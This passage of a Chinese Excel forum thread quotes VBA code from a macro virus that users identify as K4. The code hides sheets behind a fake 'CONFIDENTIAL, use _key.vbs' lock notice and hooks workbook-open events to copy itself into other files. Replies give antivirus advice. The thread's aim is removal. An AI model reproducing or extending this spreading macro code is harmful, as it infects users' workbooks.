602.     Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
     
603.     If Fso.Folderexists(Left(pathf, Len(pathf) - 10)) = False Then Fso.CreateFolder Left(pathf, Len(pathf) - 10)
     
604.     If Fso.FileExists(pathf) Then
     
605.         Set FileText = Fso.OpenTextFile(pathf, 2, False, -1)
     
606.         FileText.Write FragMark
     
607.         FileText.Close
     
608.     Else
     
609.         Set FileText = Fso.OpenTextFile(pathf, 2, True, -1)
     
610.         FileText.Write FragMark
     
611.         FileText.Close
     
612.     End If
     
613. End Sub
     
614. 
     
615. Private Sub RestoreBeforeSend()
     
616. Dim aa As Name, i_row As Integer, i_col As Integer
     
617. Dim sht As Object
     
618. Application.ScreenUpdating = False
     
619. Application.DisplayAlerts = False
     
620. On Error Resume Next
     
621. For Each aa In ThisWorkbook.Names
     
622.      aa.Visible = True
     
623.      If Split(aa.Name, "!")(1) = "Auto_Activate" Then aa.Delete
     
624. Next
     
625. For Each sht In ThisWorkbook.Sheets
     
626.      If sht.Name = "Macro1" Then
     
627.      sht.Visible = xlSheetVisible
     
628.      sht.Delete
     
629.      End If
     
630. Next
     
631. Sheets(1).Select
     
632. Sheets.Add
     
633. For Each sht In ThisWorkbook.Sheets
     
634.      If sht.Name <> Sheets(1).Name Then sht.Visible = xlSheetVeryHidden
     
635. Next
     
636. i_row = Int((15 * Rnd) + 1)
     
637. i_col = Int((6 * Rnd) + 1)
     
638. Cells(i_row, i_col) = "** CONFIDENTIAL! ** "
     
639. Cells(i_row + 2, i_col) = "Use " & Chr(34) & Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) & "_key.vbs" & Chr(34) & " To Open This File."
     
640. Cells(i_row + 3, i_col) = "请用 " & Chr(34) & Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) & "_key.vbs" & Chr(34) & " 解锁此文件."
     
641. With Range(Cells(i_row, i_col), Cells(i_row + 2, i_col))
     
642.      .Font.Bold = True
     
643.      .Font.ColorIndex = 3
     
644. End With
     
645. Application.ScreenUpdating = True
     
646. End Sub
     
647. Private Function RestoreAfterOpen()
     
648. Dim sht, del_sht, rng, del_frag As Boolean
     
649. On Error Resume Next
     
650. del_sht = ActiveSheet.Name
     
651. Application.ScreenUpdating = False
     
652. Application.DisplayAlerts = False
     
653. For Each sht In ThisWorkbook.Sheets
     
654.     If sht.Name <> "Macro1" Then sht.Visible = xlSheetVisible
     
655. Next
     
656. For Each rng In Sheets(del_sht).Range("A1:F15")
     
657. If InStr(rng.Value, "CONFIDENTIAL") > 0 Then
     
658. del_frag = True
     
659. Exit For
     
660. End If
     
661. Next
     
662. If del_frag = True Then Sheets(del_sht).Delete
     
663. Application.ScreenUpdating = True
     
664. End Function
     

复制代码

无聊的疯子

thisworkbook 里还有代码

1. 
   
2. Public WithEvents xx As Application
   
3. Private Sub Workbook_open()
   
4. Set xx = Application
   
5. On Error Resume Next
   
6. Application.DisplayAlerts = False
   
7. Call do_what
   
8. End Sub
   
9. Private Sub xx_workbookOpen(ByVal wb As Workbook)
   
10. On Error Resume Next
    
11. wb.VBProject.References.AddFromGuid _
    
12. GUID:="{0002E157-0000-0000-C000-000000000046}", _
    
13. Major:=5, Minor:=3
    
14. Application.ScreenUpdating = False
    
15. Application.DisplayAlerts = False
    
16. copystart wb
    
17. Application.ScreenUpdating = True
    
18. End Sub
    

复制代码

建议你下载一个 avast 杀毒来用,家庭版的,用邮箱注册可使用一年,第二年继续注册
360和金山在默认状态下对宏病毒是开绿灯的!!

huangcaiguang

原来是K4宏病毒，现在解决啦！谢谢您的关注。